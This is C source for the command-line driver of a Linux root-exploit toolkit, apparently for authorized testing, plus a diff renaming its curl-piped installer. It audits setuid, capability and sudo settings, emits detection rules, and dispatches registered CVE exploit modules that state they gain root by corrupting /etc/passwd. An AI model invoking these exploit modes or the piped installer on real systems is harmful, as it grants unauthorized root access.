|
|
||||||
f->category, f->path, f->note);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Walk one filesystem path looking for setuid-root binaries. Bounded
|
|
||||||
* via find(1) for portability (every distro ships find). */
|
|
||||||
static int audit_setuid(int *count_out, bool json,
|
|
||||||
bool *first_json_emitted)
|
|
||||||
{
|
|
||||||
/* Use popen() on `find` rather than recursive opendir() — much
|
|
||||||
* simpler, every distro ships find. Limit to common
|
|
||||||
* binary-bearing dirs to keep runtime reasonable. */
|
|
||||||
static const char *cmd =
|
|
||||||
"find /usr/bin /usr/sbin /bin /sbin /usr/local/bin /usr/local/sbin "
|
|
||||||
"-xdev -perm -4000 -type f 2>/dev/null";
|
|
||||||
FILE *p = popen(cmd, "r");
|
|
||||||
if (!p) return -1;
|
|
||||||
char line[1024];
|
|
||||||
int n = 0;
|
|
||||||
/* Set of suspicious binaries — these are notable in the LPE world.
|
|
||||||
* The full setuid inventory is informational; this list flags
|
|
||||||
* specific items as "review this". */
|
|
||||||
static const struct { const char *path; const char *note; } SUSP[] = {
|
|
||||||
{"/usr/bin/pkexec", "Pwnkit CVE-2021-4034 history; tightly audit polkit policy"},
|
|
||||||
{"/usr/bin/mount.cifs", "historically setuid-root; check distro hardening"},
|
|
||||||
{"/usr/bin/fusermount3", "historically setuid; userns-related LPE history"},
|
|
||||||
{"/usr/bin/passwd", "expected setuid; verify integrity"},
|
|
||||||
{"/usr/bin/sudo", "expected setuid; verify integrity + sudoers"},
|
|
||||||
{"/usr/bin/su", "expected setuid; verify integrity"},
|
|
||||||
{"/usr/lib/snapd/snap-confine", "Ubuntu snap sandbox-escape history"},
|
|
||||||
{NULL, NULL},
|
|
||||||
};
|
|
||||||
while (fgets(line, sizeof line, p)) {
|
|
||||||
size_t L = strlen(line);
|
|
||||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
|
||||||
const char *note = "setuid binary — review";
|
|
||||||
for (size_t i = 0; SUSP[i].path; i++) {
|
|
||||||
if (strcmp(line, SUSP[i].path) == 0) { note = SUSP[i].note; break; }
|
|
||||||
}
|
|
||||||
if (json) {
|
|
||||||
char *p_esc = json_escape(line);
|
|
||||||
char *n_esc = json_escape(note);
|
|
||||||
fprintf(stdout, "%s{\"category\":\"setuid\",\"path\":\"%s\",\"note\":\"%s\"}",
|
|
||||||
*first_json_emitted ? "," : "",
|
|
||||||
p_esc ? p_esc : "", n_esc ? n_esc : "");
|
|
||||||
*first_json_emitted = true;
|
|
||||||
free(p_esc); free(n_esc);
|
|
||||||
} else {
|
|
||||||
struct finding f = { .category = "setuid" };
|
|
||||||
snprintf(f.path, sizeof f.path, "%s", line);
|
|
||||||
snprintf(f.note, sizeof f.note, "%s", note);
|
|
||||||
print_finding_human(&f);
|
|
||||||
}
|
|
||||||
n++;
|
|
||||||
}
|
|
||||||
pclose(p);
|
|
||||||
if (count_out) *count_out = n;
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Look for world-writable files inside /etc. Catches obviously-broken
|
|
||||||
* filesystem permissions where any user can edit system config. */
|
|
||||||
static int audit_world_writable(int *count_out, bool json,
|
|
||||||
bool *first_json_emitted)
|
|
||||||
{
|
|
||||||
static const char *cmd =
|
|
||||||
"find /etc -xdev -perm -0002 -type f 2>/dev/null";
|
|
||||||
FILE *p = popen(cmd, "r");
|
|
||||||
if (!p) return -1;
|
|
||||||
char line[1024];
|
|
||||||
int n = 0;
|
|
||||||
while (fgets(line, sizeof line, p)) {
|
|
||||||
size_t L = strlen(line);
|
|
||||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
|
||||||
const char *note = "world-writable in /etc — anyone can edit";
|
|
||||||
if (json) {
|
|
||||||
char *p_esc = json_escape(line);
|
|
||||||
fprintf(stdout, "%s{\"category\":\"world_writable\",\"path\":\"%s\",\"note\":\"%s\"}",
|
|
||||||
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
|
|
||||||
*first_json_emitted = true;
|
|
||||||
free(p_esc);
|
|
||||||
} else {
|
|
||||||
struct finding f = { .category = "world_writable" };
|
|
||||||
snprintf(f.path, sizeof f.path, "%s", line);
|
|
||||||
snprintf(f.note, sizeof f.note, "%s", note);
|
|
||||||
print_finding_human(&f);
|
|
||||||
}
|
|
||||||
n++;
|
|
||||||
}
|
|
||||||
pclose(p);
|
|
||||||
if (count_out) *count_out = n;
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Find files with file capabilities set. cap_setuid+ep or
|
|
||||||
* cap_dac_override+ep on a non-standard binary = potential
|
|
||||||
* post-exploit persistence or a misconfigured capability grant. */
|
|
||||||
static int audit_capabilities(int *count_out, bool json,
|
|
||||||
bool *first_json_emitted)
|
|
||||||
{
|
|
||||||
/* getcap is in libcap2-bin / libcap-progs depending on distro;
|
|
||||||
* skip cleanly if absent. */
|
|
||||||
if (access("/sbin/getcap", X_OK) != 0
|
|
||||||
&& access("/usr/sbin/getcap", X_OK) != 0
|
|
||||||
&& access("/usr/bin/getcap", X_OK) != 0) {
|
|
||||||
if (!json) {
|
|
||||||
fprintf(stderr, "[i] audit: getcap not installed — skipping capability scan\n");
|
|
||||||
}
|
|
||||||
if (count_out) *count_out = 0;
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
static const char *cmd =
|
|
||||||
"getcap -r /usr/bin /usr/sbin /bin /sbin /usr/local 2>/dev/null";
|
|
||||||
FILE *p = popen(cmd, "r");
|
|
||||||
if (!p) return -1;
|
|
||||||
char line[1024];
|
|
||||||
int n = 0;
|
|
||||||
while (fgets(line, sizeof line, p)) {
|
|
||||||
size_t L = strlen(line);
|
|
||||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
|
||||||
const char *note = "file capability set — verify legitimacy";
|
|
||||||
if (strstr(line, "cap_setuid+ep") || strstr(line, "cap_setgid+ep")
|
|
||||||
|| strstr(line, "cap_dac_override+ep") || strstr(line, "cap_sys_admin+ep")) {
|
|
||||||
note = "high-power cap+ep — privesc-equivalent if attacker-writable";
|
|
||||||
}
|
|
||||||
if (json) {
|
|
||||||
char *p_esc = json_escape(line);
|
|
||||||
fprintf(stdout, "%s{\"category\":\"capability\",\"path\":\"%s\",\"note\":\"%s\"}",
|
|
||||||
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
|
|
||||||
*first_json_emitted = true;
|
|
||||||
free(p_esc);
|
|
||||||
} else {
|
|
||||||
struct finding f = { .category = "capability" };
|
|
||||||
snprintf(f.path, sizeof f.path, "%s", line);
|
|
||||||
snprintf(f.note, sizeof f.note, "%s", note);
|
|
||||||
print_finding_human(&f);
|
|
||||||
}
|
|
||||||
n++;
|
|
||||||
}
|
|
||||||
pclose(p);
|
|
||||||
if (count_out) *count_out = n;
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Check /etc/sudoers and /etc/sudoers.d for NOPASSWD entries. Many
|
|
||||||
* setups have legit NOPASSWD for service accounts; flag and let
|
|
||||||
* operator review. */
|
|
||||||
static int audit_sudo_nopasswd(int *count_out, bool json,
|
|
||||||
bool *first_json_emitted)
|
|
||||||
{
|
|
||||||
static const char *cmd =
|
|
||||||
"grep -rIn -E '^[^#].*NOPASSWD' /etc/sudoers /etc/sudoers.d 2>/dev/null";
|
|
||||||
FILE *p = popen(cmd, "r");
|
|
||||||
if (!p) return -1;
|
|
||||||
char line[1024];
|
|
||||||
int n = 0;
|
|
||||||
while (fgets(line, sizeof line, p)) {
|
|
||||||
size_t L = strlen(line);
|
|
||||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
|
||||||
const char *note = "sudo NOPASSWD entry — verify scope";
|
|
||||||
if (json) {
|
|
||||||
char *p_esc = json_escape(line);
|
|
||||||
fprintf(stdout, "%s{\"category\":\"sudo\",\"path\":\"%s\",\"note\":\"%s\"}",
|
|
||||||
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
|
|
||||||
*first_json_emitted = true;
|
|
||||||
free(p_esc);
|
|
||||||
} else {
|
|
||||||
struct finding f = { .category = "sudo" };
|
|
||||||
snprintf(f.path, sizeof f.path, "%s", line);
|
|
||||||
snprintf(f.note, sizeof f.note, "%s", note);
|
|
||||||
print_finding_human(&f);
|
|
||||||
}
|
|
||||||
n++;
|
|
||||||
}
|
|
||||||
pclose(p);
|
|
||||||
if (count_out) *count_out = n;
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static int cmd_audit(const struct iamroot_ctx *ctx)
|
|
||||||
{
|
|
||||||
int n_setuid = 0, n_ww = 0, n_cap = 0, n_sudo = 0;
|
|
||||||
if (ctx->json) {
|
|
||||||
fprintf(stdout, "{\"version\":\"%s\",\"audit\":[", IAMROOT_VERSION);
|
|
||||||
bool first = false;
|
|
||||||
audit_setuid(&n_setuid, true, &first);
|
|
||||||
audit_world_writable(&n_ww, true, &first);
|
|
||||||
audit_capabilities(&n_cap, true, &first);
|
|
||||||
audit_sudo_nopasswd(&n_sudo, true, &first);
|
|
||||||
fprintf(stdout, "],\"summary\":{\"setuid\":%d,\"world_writable\":%d,"
|
|
||||||
"\"capability\":%d,\"sudo_nopasswd\":%d}}\n",
|
|
||||||
n_setuid, n_ww, n_cap, n_sudo);
|
|
||||||
} else {
|
|
||||||
fprintf(stdout, "%-17s %-50s %s\n", "CATEGORY", "PATH", "NOTE");
|
|
||||||
fprintf(stdout, "%-17s %-50s %s\n", "--------", "----", "----");
|
|
||||||
bool first = false;
|
|
||||||
audit_setuid(&n_setuid, false, &first);
|
|
||||||
audit_world_writable(&n_ww, false, &first);
|
|
||||||
audit_capabilities(&n_cap, false, &first);
|
|
||||||
audit_sudo_nopasswd(&n_sudo, false, &first);
|
|
||||||
fprintf(stderr, "\n[*] audit summary: %d setuid, %d world-writable, "
|
|
||||||
"%d capability-set, %d sudo NOPASSWD\n",
|
|
||||||
n_setuid, n_ww, n_cap, n_sudo);
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* --module-info <name>: dump everything we know about one module.
|
|
||||||
* Human-readable by default, JSON with --json. Includes the full
|
|
||||||
* detection-rule text bodies for that module. */
|
|
||||||
static int cmd_module_info(const char *name, const struct iamroot_ctx *ctx)
|
|
||||||
{
|
|
||||||
const struct iamroot_module *m = iamroot_module_find(name);
|
|
||||||
if (!m) {
|
|
||||||
if (ctx->json) {
|
|
||||||
fprintf(stdout, "{\"error\":\"module not found\",\"name\":\"%s\"}\n", name);
|
|
||||||
} else {
|
|
||||||
fprintf(stderr, "[-] no module '%s'. Try --list.\n", name);
|
|
||||||
}
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
if (ctx->json) {
|
|
||||||
emit_module_json(m, true);
|
|
||||||
fputc('\n', stdout);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
fprintf(stdout, "name: %s\n", m->name);
|
|
||||||
fprintf(stdout, "cve: %s\n", m->cve);
|
|
||||||
fprintf(stdout, "family: %s\n", m->family);
|
|
||||||
fprintf(stdout, "kernel_range: %s\n", m->kernel_range);
|
|
||||||
fprintf(stdout, "summary: %s\n", m->summary);
|
|
||||||
fprintf(stdout, "operations: %s%s%s%s\n",
|
|
||||||
m->detect ? "detect " : "",
|
|
||||||
m->exploit ? "exploit " : "",
|
|
||||||
m->mitigate ? "mitigate " : "",
|
|
||||||
m->cleanup ? "cleanup " : "");
|
|
||||||
fprintf(stdout, "detect rules: %s%s%s%s\n",
|
|
||||||
m->detect_auditd ? "auditd " : "",
|
|
||||||
m->detect_sigma ? "sigma " : "",
|
|
||||||
m->detect_yara ? "yara " : "",
|
|
||||||
m->detect_falco ? "falco " : "");
|
|
||||||
if (m->detect_auditd) {
|
|
||||||
fprintf(stdout, "\n--- auditd rules ---\n%s", m->detect_auditd);
|
|
||||||
}
|
|
||||||
if (m->detect_sigma) {
|
|
||||||
fprintf(stdout, "\n--- sigma rule ---\n%s", m->detect_sigma);
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static int cmd_scan(const struct iamroot_ctx *ctx)
|
|
||||||
{
|
|
||||||
int worst = 0;
|
|
||||||
size_t n = iamroot_module_count();
|
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr, "[*] iamroot scan: %zu module(s) registered\n", n);
|
|
||||||
} else {
|
|
||||||
fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION);
|
|
||||||
}
|
|
||||||
for (size_t i = 0; i < n; i++) {
|
|
||||||
const struct iamroot_module *m = iamroot_module_at(i);
|
|
||||||
if (m->detect == NULL) continue;
|
|
||||||
iamroot_result_t r = m->detect(ctx);
|
|
||||||
if (ctx->json) {
|
|
||||||
fprintf(stdout, "%s{\"name\":\"%s\",\"cve\":\"%s\",\"result\":\"%s\"}",
|
|
||||||
(i == 0 ? "" : ","), m->name, m->cve, result_str(r));
|
|
||||||
} else {
|
|
||||||
fprintf(stdout, "[%s] %-20s %-18s %s\n",
|
|
||||||
result_str(r), m->name, m->cve, m->summary);
|
|
||||||
}
|
|
||||||
/* track worst (highest) result code as overall exit */
|
|
||||||
if ((int)r > worst) worst = (int)r;
|
|
||||||
}
|
|
||||||
if (ctx->json) {
|
|
||||||
fprintf(stdout, "]}\n");
|
|
||||||
}
|
|
||||||
return worst;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Dump detection rules for every registered module in the requested
|
|
||||||
* format. Modules that don't ship a rule for that format are simply
|
|
||||||
* skipped (no error). Output goes to stdout so it can be redirected
|
|
||||||
* straight into /etc/audit/rules.d/, the SIEM, etc. */
|
|
||||||
static int cmd_detect_rules(enum detect_format fmt)
|
|
||||||
{
|
|
||||||
static const char *fmt_names[] = {
|
|
||||||
[FMT_AUDITD] = "auditd",
|
|
||||||
[FMT_SIGMA] = "sigma",
|
|
||||||
[FMT_YARA] = "yara",
|
|
||||||
[FMT_FALCO] = "falco",
|
|
||||||
};
|
|
||||||
size_t n = iamroot_module_count();
|
|
||||||
fprintf(stdout, "# IAMROOT detection rules — format: %s\n", fmt_names[fmt]);
|
|
||||||
fprintf(stdout, "# Generated from %zu registered modules\n", n);
|
|
||||||
fprintf(stdout, "# AUTHORIZED-TESTING tool; see docs/ETHICS.md\n\n");
|
|
||||||
/* Dedup by pointer: family-shared rule strings (e.g. all 5
|
|
||||||
* copy_fail_family modules share one auditd rule string) would
|
|
||||||
* otherwise emit identical blocks once per module. */
|
|
||||||
const char *seen[64] = {0};
|
|
||||||
size_t n_seen = 0;
|
|
||||||
int emitted = 0;
|
|
||||||
for (size_t i = 0; i < n; i++) {
|
|
||||||
const struct iamroot_module *m = iamroot_module_at(i);
|
|
||||||
const char *rules = NULL;
|
|
||||||
switch (fmt) {
|
|
||||||
case FMT_AUDITD: rules = m->detect_auditd; break;
|
|
||||||
case FMT_SIGMA: rules = m->detect_sigma; break;
|
|
||||||
case FMT_YARA: rules = m->detect_yara; break;
|
|
||||||
case FMT_FALCO: rules = m->detect_falco; break;
|
|
||||||
}
|
|
||||||
if (rules == NULL) continue;
|
|
||||||
/* Already emitted? */
|
|
||||||
bool dup = false;
|
|
||||||
for (size_t k = 0; k < n_seen; k++) {
|
|
||||||
if (seen[k] == rules) { dup = true; break; }
|
|
||||||
}
|
|
||||||
if (dup) {
|
|
||||||
fprintf(stdout, "# === %s (%s) — see family rules above ===\n\n",
|
|
||||||
m->name, m->cve);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
if (n_seen < sizeof(seen)/sizeof(seen[0])) seen[n_seen++] = rules;
|
|
||||||
fprintf(stdout, "# === %s (%s) ===\n", m->name, m->cve);
|
|
||||||
fputs(rules, stdout);
|
|
||||||
fputc('\n', stdout);
|
|
||||||
emitted++;
|
|
||||||
}
|
|
||||||
fprintf(stderr, "[*] emitted detection rules for %d / %zu module(s) (format: %s)\n",
|
|
||||||
emitted, n, fmt_names[fmt]);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static int cmd_one(const struct iamroot_module *m, const char *op,
|
|
||||||
const struct iamroot_ctx *ctx)
|
|
||||||
{
|
|
||||||
iamroot_result_t (*fn)(const struct iamroot_ctx *) = NULL;
|
|
||||||
if (strcmp(op, "exploit") == 0) fn = m->exploit;
|
|
||||||
else if (strcmp(op, "mitigate") == 0) fn = m->mitigate;
|
|
||||||
else if (strcmp(op, "cleanup") == 0) fn = m->cleanup;
|
|
||||||
|
|
||||||
if (fn == NULL) {
|
|
||||||
fprintf(stderr, "[-] module '%s' has no %s operation\n", m->name, op);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
iamroot_result_t r = fn(ctx);
|
|
||||||
fprintf(stderr, "[*] %s --%s result: %s\n", m->name, op, result_str(r));
|
|
||||||
return (int)r;
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(int argc, char **argv)
|
|
||||||
{
|
|
||||||
/* Bring up the module registry. As new families land, add their
|
|
||||||
* register_* call here. */
|
|
||||||
iamroot_register_copy_fail_family();
|
|
||||||
iamroot_register_dirty_pipe();
|
|
||||||
iamroot_register_entrybleed();
|
|
||||||
iamroot_register_pwnkit();
|
|
||||||
iamroot_register_nf_tables();
|
|
||||||
iamroot_register_overlayfs();
|
|
||||||
iamroot_register_cls_route4();
|
|
||||||
iamroot_register_dirty_cow();
|
|
||||||
iamroot_register_ptrace_traceme();
|
|
||||||
iamroot_register_netfilter_xtcompat();
|
|
||||||
iamroot_register_af_packet();
|
|
||||||
iamroot_register_fuse_legacy();
|
|
||||||
iamroot_register_stackrot();
|
|
||||||
iamroot_register_af_packet2();
|
|
||||||
iamroot_register_cgroup_release_agent();
|
|
||||||
iamroot_register_overlayfs_setuid();
|
|
||||||
|
|
||||||
enum mode mode = MODE_SCAN;
|
|
||||||
struct iamroot_ctx ctx = {0};
|
|
||||||
const char *target = NULL;
|
|
||||||
int i_know = 0;
|
|
||||||
|
|
||||||
enum detect_format dr_fmt = FMT_AUDITD;
|
|
||||||
static struct option longopts[] = {
|
|
||||||
{"scan", no_argument, 0, 'S'},
|
|
||||||
{"list", no_argument, 0, 'L'},
|
|
||||||
{"exploit", required_argument, 0, 'E'},
|
|
||||||
{"mitigate", required_argument, 0, 'M'},
|
|
||||||
{"cleanup", required_argument, 0, 'C'},
|
|
||||||
{"detect-rules", no_argument, 0, 'D'},
|
|
||||||
{"module-info", required_argument, 0, 'I'},
|
|
||||||
{"audit", no_argument, 0, 'A'},
|
|
||||||
{"format", required_argument, 0, 6 },
|
|
||||||
{"i-know", no_argument, 0, 1 },
|
|
||||||
{"active", no_argument, 0, 2 },
|
|
||||||
{"no-shell", no_argument, 0, 3 },
|
|
||||||
{"json", no_argument, 0, 4 },
|
|
||||||
{"no-color", no_argument, 0, 5 },
|
|
||||||
{"full-chain", no_argument, 0, 7 },
|
|
||||||
{"version", no_argument, 0, 'V'},
|
|
||||||
{"help", no_argument, 0, 'h'},
|
|
||||||
{0, 0, 0, 0}
|
|
||||||
};
|
|
||||||
|
|
||||||
int c, opt_idx;
|
|
||||||
while ((c = getopt_long(argc, argv, "SLDAE:M:C:I:Vh", longopts, &opt_idx)) != -1) {
|
|
||||||
switch (c) {
|
|
||||||
case 'S': mode = MODE_SCAN; break;
|
|
||||||
case 'L': mode = MODE_LIST; break;
|
|
||||||
case 'D': mode = MODE_DETECT_RULES; break;
|
|
||||||
case 'A': mode = MODE_AUDIT; break;
|
|
||||||
case 'I': mode = MODE_MODULE_INFO; target = optarg; break;
|
|
||||||
case 'E': mode = MODE_EXPLOIT; target = optarg; break;
|
|
||||||
case 'M': mode = MODE_MITIGATE; target = optarg; break;
|
|
||||||
case 'C': mode = MODE_CLEANUP; target = optarg; break;
|
|
||||||
case 1 : i_know = 1; ctx.authorized = true; break;
|
|
||||||
case 2 : ctx.active_probe = true; break;
|
|
||||||
case 3 : ctx.no_shell = true; break;
|
|
||||||
case 4 : ctx.json = true; break;
|
|
||||||
case 5 : ctx.no_color = true; break;
|
|
||||||
case 7 : ctx.full_chain = true; break;
|
|
||||||
case 6 :
|
|
||||||
if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
|
|
||||||
else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;
|
|
||||||
else if (strcmp(optarg, "yara") == 0) dr_fmt = FMT_YARA;
|
|
||||||
else if (strcmp(optarg, "falco") == 0) dr_fmt = FMT_FALCO;
|
|
||||||
else { fprintf(stderr, "[-] unknown --format: %s\n", optarg); return 1; }
|
|
||||||
break;
|
|
||||||
case 'V': printf("iamroot %s\n", IAMROOT_VERSION); return 0;
|
|
||||||
case 'h': mode = MODE_HELP; break;
|
|
||||||
default: usage(argv[0]); return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (mode == MODE_HELP) {
|
|
||||||
fputs(BANNER, stderr);
|
|
||||||
usage(argv[0]);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!ctx.json) fputs(BANNER, stderr);
|
|
||||||
|
|
||||||
if (mode == MODE_SCAN) return cmd_scan(&ctx);
|
|
||||||
if (mode == MODE_LIST) return cmd_list(&ctx);
|
|
||||||
if (mode == MODE_MODULE_INFO) return cmd_module_info(target, &ctx);
|
|
||||||
if (mode == MODE_DETECT_RULES) return cmd_detect_rules(dr_fmt);
|
|
||||||
if (mode == MODE_AUDIT) return cmd_audit(&ctx);
|
|
||||||
|
|
||||||
/* --exploit / --mitigate / --cleanup all take a target */
|
|
||||||
if (target == NULL) {
|
|
||||||
fprintf(stderr, "[-] mode requires a module name\n");
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
const struct iamroot_module *m = iamroot_module_find(target);
|
|
||||||
if (m == NULL) {
|
|
||||||
fprintf(stderr, "[-] no module '%s'. Try --list.\n", target);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (mode == MODE_EXPLOIT) {
|
|
||||||
if (!i_know) {
|
|
||||||
fprintf(stderr,
|
|
||||||
"[-] --exploit requires --i-know. This will attempt to gain\n"
|
|
||||||
" root and corrupt /etc/passwd in the page cache.\n"
|
|
||||||
" Authorized testing only. See docs/ETHICS.md.\n");
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
return cmd_one(m, "exploit", &ctx);
|
|
||||||
}
|
|
||||||
if (mode == MODE_MITIGATE) return cmd_one(m, "mitigate", &ctx);
|
|
||||||
if (mode == MODE_CLEANUP) return cmd_one(m, "cleanup", &ctx);
|
|
||||||
|
|
||||||
usage(argv[0]);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
+48
-31
@@ -1,29 +1,34 @@
|
|||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
# IAMROOT one-shot installer.
|
# SKELETONKEY one-shot installer.
|
||||||
#
|
#
|
||||||
# Usage:
|
# Usage:
|
||||||
# curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
|
# curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||||
#
|
#
|
||||||
# Or with explicit version:
|
# Or with explicit version:
|
||||||
# IAMROOT_VERSION=v0.1.0 curl ... | sh
|
# SKELETONKEY_VERSION=v0.1.0 curl ... | sh
|
||||||
#
|
#
|
||||||
# Or install to a different prefix:
|
# Or install to a different prefix:
|
||||||
# IAMROOT_PREFIX=$HOME/.local/bin curl ... | sh
|
# SKELETONKEY_PREFIX=$HOME/.local/bin curl ... | sh
|
||||||
#
|
#
|
||||||
# Environment:
|
# Environment:
|
||||||
# IAMROOT_VERSION release tag (default: latest)
|
# SKELETONKEY_VERSION release tag (default: latest)
|
||||||
# IAMROOT_PREFIX install dir (default: /usr/local/bin if writable, else error)
|
# SKELETONKEY_PREFIX install dir (default: /usr/local/bin if writable, else error)
|
||||||
# IAMROOT_REPO override repo (default: KaraZajac/IAMROOT)
|
# SKELETONKEY_REPO override repo (default: KaraZajac/SKELETONKEY)
|
||||||
#
|
#
|
||||||
# Exit codes:
|
# Exit codes:
|
||||||
# 0 — installed successfully
|
# 0 — installed successfully
|
||||||
# 1 — error (unsupported arch, download failure, permission denied)
|
# 1 — error (unsupported arch, download failure, permission denied)
|
||||||
|
|
||||||
set -euo pipefail
|
# POSIX-friendly: -eu is universal, pipefail only on shells that
|
||||||
|
# support it (bash, ksh, dash >= 0.5.12). Without pipefail the
|
||||||
|
# installer still exits on the first hard error since every curl/
|
||||||
|
# tar/install step is checked explicitly.
|
||||||
|
set -eu
|
||||||
|
(set -o pipefail) 2>/dev/null && set -o pipefail || true
|
||||||
|
|
||||||
REPO="${IAMROOT_REPO:-KaraZajac/IAMROOT}"
|
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
|
||||||
VERSION="${IAMROOT_VERSION:-latest}"
|
VERSION="${SKELETONKEY_VERSION:-latest}"
|
||||||
PREFIX="${IAMROOT_PREFIX:-/usr/local/bin}"
|
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
|
||||||
|
|
||||||
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
||||||
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
||||||
@@ -32,7 +37,19 @@ fail() { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
|
|||||||
# Detect architecture
|
# Detect architecture
|
||||||
arch=$(uname -m)
|
arch=$(uname -m)
|
||||||
case "$arch" in
|
case "$arch" in
|
||||||
x86_64|amd64) target=x86_64 ;;
|
# x86_64 default: the musl-static binary works on every libc
|
||||||
|
# (glibc 2.x of any version, musl, uclibc) — costs ~800 KB extra
|
||||||
|
# vs the dynamic build but eliminates the GLIBC_2.NN portability
|
||||||
|
# ceiling that bit users on Debian-stable / older RHEL hosts.
|
||||||
|
# Set SKELETONKEY_DYNAMIC=1 to fetch the smaller dynamic build
|
||||||
|
# (needs glibc >= 2.38, i.e. Ubuntu 24.04 / Debian 13 / RHEL 10).
|
||||||
|
x86_64|amd64)
|
||||||
|
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||||
|
target=x86_64
|
||||||
|
else
|
||||||
|
target=x86_64-static
|
||||||
|
fi
|
||||||
|
;;
|
||||||
aarch64|arm64) target=arm64 ;;
|
aarch64|arm64) target=arm64 ;;
|
||||||
*) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
|
*) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
|
||||||
esac
|
esac
|
||||||
@@ -40,11 +57,11 @@ log "detected arch: $target"
|
|||||||
|
|
||||||
# Resolve version → download URL
|
# Resolve version → download URL
|
||||||
if [ "$VERSION" = "latest" ]; then
|
if [ "$VERSION" = "latest" ]; then
|
||||||
url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}"
|
url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}"
|
||||||
sha_url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}.sha256"
|
sha_url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}.sha256"
|
||||||
else
|
else
|
||||||
url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}"
|
url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}"
|
||||||
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}.sha256"
|
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}.sha256"
|
||||||
fi
|
fi
|
||||||
log "downloading from: $url"
|
log "downloading from: $url"
|
||||||
|
|
||||||
@@ -56,18 +73,18 @@ fi
|
|||||||
tmp=$(mktemp -d)
|
tmp=$(mktemp -d)
|
||||||
trap 'rm -rf "$tmp"' EXIT
|
trap 'rm -rf "$tmp"' EXIT
|
||||||
|
|
||||||
if ! curl -fsSLo "$tmp/iamroot" "$url"; then
|
if ! curl -fsSLo "$tmp/skeletonkey" "$url"; then
|
||||||
fail "download failed. Check the version exists at https://github.com/${REPO}/releases"
|
fail "download failed. Check the version exists at https://github.com/${REPO}/releases"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Verify checksum if available
|
# Verify checksum if available
|
||||||
if curl -fsSLo "$tmp/iamroot.sha256" "$sha_url" 2>/dev/null; then
|
if curl -fsSLo "$tmp/skeletonkey.sha256" "$sha_url" 2>/dev/null; then
|
||||||
# The .sha256 file has the binary's original name; normalize for our local copy
|
# The .sha256 file has the binary's original name; normalize for our local copy
|
||||||
expected=$(awk '{print $1}' "$tmp/iamroot.sha256")
|
expected=$(awk '{print $1}' "$tmp/skeletonkey.sha256")
|
||||||
if command -v sha256sum >/dev/null 2>&1; then
|
if command -v sha256sum >/dev/null 2>&1; then
|
||||||
actual=$(sha256sum "$tmp/iamroot" | awk '{print $1}')
|
actual=$(sha256sum "$tmp/skeletonkey" | awk '{print $1}')
|
||||||
elif command -v shasum >/dev/null 2>&1; then
|
elif command -v shasum >/dev/null 2>&1; then
|
||||||
actual=$(shasum -a 256 "$tmp/iamroot" | awk '{print $1}')
|
actual=$(shasum -a 256 "$tmp/skeletonkey" | awk '{print $1}')
|
||||||
else
|
else
|
||||||
actual=""
|
actual=""
|
||||||
log "no sha256sum/shasum available — skipping checksum verification"
|
log "no sha256sum/shasum available — skipping checksum verification"
|
||||||
@@ -83,17 +100,17 @@ else
|
|||||||
log "no checksum file at $sha_url — skipping verification"
|
log "no checksum file at $sha_url — skipping verification"
|
||||||
fi
